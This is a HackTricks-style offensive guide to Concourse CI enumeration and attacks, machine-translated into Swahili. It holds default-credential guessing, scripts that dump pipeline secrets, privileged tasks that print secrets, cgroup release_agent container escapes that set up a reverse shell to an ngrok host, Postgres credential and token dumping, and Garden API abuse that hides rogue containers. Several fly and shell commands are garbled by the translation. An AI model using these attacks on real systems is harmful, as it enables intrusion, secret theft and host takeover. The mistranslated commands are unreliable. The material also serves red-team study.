Concourse Enumeration & Attacks

Uchambuzi na Mashambulizi ya Concourse

Jifunze kuhusu udukuzi wa AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Majukumu na Ruhusa za Mtumiaji

Concourse inakuja na majukumu matano:

  • Concourse Msimamizi: Jukumu hili linatolewa tu kwa wamiliki wa timu kuu (timu ya awali ya concourse). Waandamizi wanaweza kuwezesha timu nyingine (k.m.: fly set-team, fly destroy-team...). Ruhusa za jukumu hili haziwezi kuathiriwa na RBAC.

  • mmiliki: Wamiliki wa timu wanaweza kurekebisha kila kitu ndani ya timu.

  • mwanachama: Wanachama wa timu wanaweza kusoma na kuandika ndani ya mali za timu lakini hawawezi kurekebisha mipangilio ya timu.

  • mwendeshaji wa mabomba: Wafanyikazi wa mabomba wanaweza kutekeleza operesheni za mabomba kama kuzindua ujenzi na kufunga rasilimali, hata hivyo hawawezi kusasisha mizunguko ya mabomba.

  • mtazamaji: Watazamaji wa timu wana upatikanaji wa "soma tu" kwa timu na mabomba yake.

Zaidi ya hayo, ruhusa za majukumu ya mmiliki, mwanachama, mwendeshaji wa mabomba na mtazamaji zinaweza kurekebishwa kwa kusanidi RBAC (kwa kusanidi kwa usahihi zaidi vitendo vyake). Soma zaidi kuhusu hilo katika: https://concourse-ci.org/user-roles.html

Tambua kuwa Concourse inagawa mizunguko ndani ya Timu. Kwa hivyo watumiaji wanaopatikana kwenye Timu wataweza kusimamia mizunguko hiyo na Timu kadhaa zinaweza kuwepo. Mtumiaji anaweza kuwa sehemu ya Timu kadhaa na kuwa na ruhusa tofauti ndani ya kila moja.

Vars & Meneja wa Sifa

Katika mizunguko ya YAML unaweza kusanidi thamani kwa kutumia sintaksia ((_jina-la-chanzo_:_njia-ya-siri_._uchunguzi-wa-siri_)). Kutoka kwenye nyaraka: Jina-la-chanzo ni hiari, na ikiachwa, meneja wa sifa wa kikundi atatumika, au thamani inaweza kutolewa kwa njia ya tuli. uchunguzi-wa-siri wa hiari unataja uchunguzi kwenye siri iliyopatikana kusoma. Ikiachwa, meneja wa sifa anaweza kuchagua kusoma 'uchunguzi wa chaguo-msingi' kutoka kwenye sifa iliyopatikana ikiwa uchunguzi upo. Zaidi ya hayo, njia-ya-siri na uchunguzi-wa-siri inaweza kuwa imezungukwa na alama za nukta mbili "..." ikiwa zina herufi maalum kama vile . na :. Kwa mfano, ((chanzo:"siri-yangu"."uchunguzi:1")) itaweka njia-ya-siri kuwa siri-yangu na uchunguzi-wa-siri kuwa uchunguzi:1.

Vars Tuli

Vars tuli zinaweza kutajwa katika hatua za kazi:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Au kutumia fly vigezo vifuatavyo:

  • -v au --var JINA=THAMANI inaweka string THAMANI kama thamani kwa var JINA.

  • -y au --yaml-var JINA=THAMANI inachambua THAMANI kama YAML na kuweka kama thamani kwa var JINA.

  • -i au --instance-var JINA=THAMANI inachambua THAMANI kama YAML na kuweka kama thamani kwa var ya kesi JINA. Angalia Kundi la Mabomba kujifunza zaidi kuhusu vars ya kesi.

  • -l au --load-vars-from FAILI inapakia FAILI, hati ya YAML inayojumuisha majina ya var na thamani, na kuweka yote.

Usimamizi wa Sifa

Kuna njia tofauti ambayo Meneja wa Sifa anaweza kutajwa katika mabomba, soma jinsi katika https://concourse-ci.org/creds.html. Zaidi ya hayo, Concourse inasaidia mameneja tofauti wa sifa:

Tafadhali kumbuka kwamba ikiwa una aina fulani ya ufikiaji wa kuandika kwa Concourse unaweza kuunda kazi za kuchota siri hizo kwani Concourse inahitaji uwezo wa kuzifikia.

Uainishaji wa Concourse

Ili kuainisha mazingira ya concourse kwanza unahitaji kukusanya sifa halali au kupata ishara iliyoidhinishwa labda katika faili ya usanidi ya .flyrc.

Kuingia na Uainishaji wa Mtumiaji wa Sasa

  • Ili kuingia unahitaji kujua hitimisho, jina la timu (chaguo-msingi ni kuu) na timu ambayo mtumiaji anahusiana nayo:

  • fly --target mfano kuingia --jina-la-timu timu-yangu --hitimisho-ya-concourse https://ci.mfano.com [--bila-uthibitisho] [--cheti-cha-mteja=./njia --funguo-cha-mteja=./njia]

  • Pata malengo yaliyowekwa:

  • fly malengo

  • Pata ikiwa unganisho la malengo lililowekwa bado ni halali:

  • fly -t <malengo> hali

  • Pata jukumu la mtumiaji dhidi ya lengo lililoelezwa:

  • fly -t <malengo> maelezo-ya-mtumiaji

Tafadhali kumbuka kwamba ishara ya API ina hifadhiwa katika $HOME/.flyrc kwa chaguo-msingi, ukiteka mashine unaweza kupata huko sifa.

Timu & Watumiaji

  • Pata orodha ya Timu

  • fly -t <malengo> timu

  • Pata majukumu ndani ya timu

  • fly -t <malengo> pata-timu -n <jina-la-timu>

  • Pata orodha ya watumiaji

  • fly -t <malengo> watumiaji-wa-aktif

Mabomba

  • Orodhesha mabomba:

  • fly -t <malengo> mabomba -a

  • Pata yaml ya mabomba (habari nyeti inaweza kupatikana katika ufafanuzi):

  • fly -t <malengo> pata-mabomba -p <jina-la-mabomba>

  • Pata vars zilizotangazwa za mabomba yote

  • kwa jina-la-mabomba katika $(fly -t <malengo> mabomba | grep -Ev "^id" | awk '{chapisha $2}'); fanya echo $jina-la-mabomba; fly -t <malengo> pata-mabomba -p $jina-la-mabomba -j | grep -Eo '"vars":[^}]+'; fanya

  • Pata majina yote ya siri za mabomba zilizotumiwa (ikiwa unaweza kuunda/kurekebisha kazi au kuteka chombo unaweza kuzichota):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Kontena & Wafanyakazi

  • Orodhesha wafanyakazi:

  • fly -t <lengo> wafanyakazi

  • Orodhesha makontena:

  • fly -t <lengo> makontena

  • Orodhesha ujenzi (kuona kinachoendeshwa):

  • fly -t <lengo> ujenzi

Mashambulizi ya Concourse

Kuvunja Neno la Siri

  • admin:admin

  • test:test

Uchambuzi wa Siri na paramu

Katika sehemu iliyopita tuliona jinsi unaweza kupata majina yote ya siri na vars zilizotumiwa na mwendeshaji wa mabomba. Vars zinaweza kuwa na habari nyeti na jina la siri litakuwa muhimu baadaye kujaribu kuiba.

Kikao ndani ya kontena inayofanya kazi au iliyofanya kazi hivi karibuni

Ikiwa una mamlaka za kutosha (jukumu la mwanachama au zaidi) utaweza kuorodhesha mabomba na majukumu na tu kupata kikao ndani ya kontena ya <mabomba>/<kazi> iliyotumika:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
With these permissions you might be able to:

* **Kuiba siri** ndani ya **kontena**
* Jaribu **kutoroka** kwenye nodi
* Piga hesabu/Chafua **mwisho wa metadata ya wingu** (kutoka kwa podi na kutoka kwa nodi, ikiwezekana)

#### Uundaji/Ubunifu wa Mpipa

Ikiwa una mamlaka za kutosha (**jukumu la mwanachama au zaidi**) utaweza **kuunda/kubadilisha mipipa mpya.** Angalia mfano huu:
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Kwa ubadilishaji/ujenzi wa mabomba mapya utaweza:

  • Kuiba siri (kwa kuzitoa kwa kuchapisha au kuingia ndani ya kontena na kukimbia env)

  • Kutoroka kwenda kwenye node (kwa kukupa mamlaka ya kutosha - privileged: true)

  • Kuhesabu/ Kutumia mwisho wa metadata ya wingu (kutoka kwa podi na kutoka kwa node)

  • Kufuta mabomba yaliyoundwa

Tekeleza Kazi ya Desturi

Hii ni sawa na njia iliyopita lakini badala ya kubadilisha/kujenga mabomba mapya kabisa unaweza kutekeleza kazi ya desturi (ambayo labda itakuwa ya kujificha zaidi):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
fly -t tutorial execute --privileged --config task_config.yml

Kutoroka kwenye node kutoka kwa kazi iliyopewa ruhusa

Katika sehemu zilizopita tuliona jinsi ya kutekeleza kazi iliyopewa ruhusa na concourse. Hii haitoi chombo cha kontena ufikiaji sawa na bendera ya ruhusa kwenye kontena ya docker. Kwa mfano, hautaona kifaa cha mfumo wa faili cha node katika /dev, hivyo kutoroka kunaweza kuwa "ngumu" zaidi.

Katika PoC ifuatayo tutatumia release_agent kutoroka na marekebisho madogo:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kama ulivyoweza kugundua hii ni tu kutoroka kwa release_agent wa kawaida kwa kubadilisha njia ya cmd kwenye node

Kutoroka kwenye node kutoka kwenye kontena ya Mfanyikazi

Kutoroka kwa release_agent wa kawaida na marekebisho madogo yanatosha kwa hili:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Kutoroka kwa nodi kutoka kwa kontena ya Wavuti

Hata kama kontena ya wavuti ina ulinzi fulani uliowezeshwa, haifanyi kazi kama kontena ya kawaida yenye mamlaka (kwa mfano, huwezi kufunga na uwezo ni mdogo sana, hivyo njia zote rahisi za kutoroka kutoka kwa kontena hazina maana).

Hata hivyo, inahifadhi siri za ndani kwa maandishi wazi:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Unaweza kutumia sifa hizo kuingia kwenye seva ya wavuti na kuunda chombo cha haki na kutoroka kwenye node.

Katika mazingira hayo, unaweza pia kupata habari ya kupata postgresql ambayo concourse inatumia (anwani, jina la mtumiaji, nywila na database miongoni mwa habari nyingine):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Kutumia Huduma ya Garden - Sio Shambulio Halisi

Hizi ni maelezo ya kuvutia kuhusu huduma, lakini kwa sababu inasikiliza tu kwenye localhost, maelezo haya hayatakuwa na athari yoyote ambayo hatujachunguza tayari

Kwa chaguo-msingi kila mfanyakazi wa concourse atakuwa akikimbia huduma ya Garden kwenye bandari 7777. Huduma hii hutumiwa na Msimamizi wa Wavuti kuonyesha mfanyakazi anachohitaji kutekeleza (kupakua picha na kukimbia kila kazi). Hii inasikika nzuri kwa muhusika, lakini kuna kinga nzuri:

  • Ina kufichuliwa kwa ndani tu (127.0.0.1) na nadhani wakati mfanyakazi anathibitisha tena kwa Wavuti na huduma maalum ya SSH, mchimbaji hufanya mawasiliano ili mwenyeji wa wavuti aweze kuzungumza na kila huduma ya Garden ndani ya kila mfanyakazi.

  • Mwenyeji wa wavuti anakuwa akifuatilia kontena zinazoendeshwa kila baada ya sekunde chache, na kontena isiotarajiwa hufutwa. Kwa hivyo ikiwa unataka kukimbia kontena ya desturi unahitaji kubadilisha mawasiliano kati ya mwenyeji wa wavuti na huduma ya garden.

Wafanyakazi wa Concourse hufanya kazi na mamlaka ya juu ya kontena:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Hata hivyo, mbinu kama kufunga kifaa cha /dev cha node au release_agent haitafanya kazi (kwa sababu kifaa halisi chenye mfumo wa faili wa node hauwezi kufikiwa, ni kifaa cha kubuni tu). Hatuwezi kufikia michakato ya node, hivyo kutoroka kutoka kwa node bila kutumia udhaifu wa kernel kunakuwa ngumu.

Katika sehemu iliyopita tuliona jinsi ya kutoroka kutoka kwa chombo kilichopewa ruhusa, hivyo ikiwa tunaweza kutekeleza amri katika chombo kilichopewa ruhusa kilichoundwa na mfanyakazi wa sasa, tunaweza kutoroka kwenda kwenye node.

Tafadhali kumbuka kwamba nikitumia concourse niligundua kwamba wakati chombo kipya kinazaliwa ili kukimbia kitu, michakato ya chombo inaweza kufikiwa kutoka kwa chombo cha mfanyakazi, hivyo ni kama chombo kinachounda chombo kipya ndani yake.

Kuingia ndani ya chombo kilichopewa ruhusa kinachoendeshwa

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Kujenga chombo kipya cha kipekee

Unaweza kwa urahisi kabisa kuunda chombo kipya (endesha UID ya kubahatisha) na kutekeleza kitu ndani yake:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Hata hivyo, seva ya wavuti inachunguza kila baada ya sekunde chache kontena zinazoendesha, na ikiwa moja isiyotarajiwa inagunduliwa, itafutwa. Kwa kuwa mawasiliano yanatokea kwa HTTP, unaweza kuhariri mawasiliano ili kuepuka kufutwa kwa kontena zisizotarajiwa:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Marejeo

  • https://concourse-ci.org/vars.html

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya HackTricks AWS)!

Njia nyingine za kusaidia HackTricks:

Last updated